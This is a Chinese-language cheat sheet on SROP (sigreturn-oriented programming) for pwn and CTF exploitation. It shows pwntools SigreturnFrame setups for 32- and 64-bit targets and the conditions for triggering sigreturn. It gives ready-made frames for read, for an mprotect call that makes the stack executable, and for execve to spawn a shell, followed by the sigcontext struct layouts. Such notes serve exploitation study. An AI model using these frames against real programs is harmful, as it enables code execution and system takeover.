SROP总结

一、SROP调用的结构体,在sigcontext.h中有定义:

1.32位程序:

(1)总长度共计:

(2)调用:

1
2
3
4
5
6
7
8
9
#注释头

A.32位系统上运行32位程序:
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

B.64位系统上运行32位程序:
context.arch = 'i386'
SigreturnFrame(kernel = 'amd64')

2.64位程序:

(1)总长共计:0xf8

(2)调用:

1
2
3
4
#注释头

context.arch = ‘amd64’
SigreturnFrame(kernel = ‘amd64’)

二、pwn中使用:

1.首先定义:

frame_func = SigreturnFrame()

2.之后设置寄存器:

1
2
3
4
5
6
7
8
#注释头

frame_func.rax = constants.SYS_func
frame_func.rdi/rsi/......
frame_func.rsp = stack_addr
#栈劫持一般可以用到,即当SROP运行完之后,栈顶就会跳转到设置的rsp处,没设置则默认为0
frame_func.rip = syscall_addr
#这里通过rax和rip配合调用任意系统函数,其它寄存器就是用来设置参数的)

3.使用条件:

(1)没有sigreturn gadget指针时,利用syscall来调用:

①64位需要系统调用号rax = 0xf。32位需要系统调用号rax = 0x4d

(这个一般可以通过read函数来实现,修改rax)

②进入时需要执行syscall,栈顶rsp指向frame_func结构体头部。

(2)有sigreturn指针时:

直接覆盖返回地址为sigreturn gadget,然后该返回地址下方的栈上覆盖frame_func结构体。

三、常用功能:

1.read:

1
2
3
4
5
6
7
8
#注释头

frame_read = SigreturnFrame() #设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rip = syscall_addr

2.利用mprotect修改内存RWX权限:

1
2
3
4
5
6
7
8
9
10
#注释头

frame_mprotect = SigreturnFrame()
#设置mprotect的SROP帧,用mprotect修改栈内存为RWX
frame_mprotect.rax = constants.SYS_mprotect
frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame_mprotect.rsi = 0x1000
frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
frame_mprotect.rsp = stack_addr
frame_mprotect.rip = syscall_addr

3.getshell:

1
2
3
4
5
6
7
#注释头

frame_execve = SigreturnFrame()
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = stack_addr+0x108
#这是binsh字符串的地址
frame_execve.rip = syscall_addr

四、结构体 in /usr/include/bits/sigcontext.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#注释头  0xf8

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#注释头    0x50

struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

实际大小最好对应版本再调试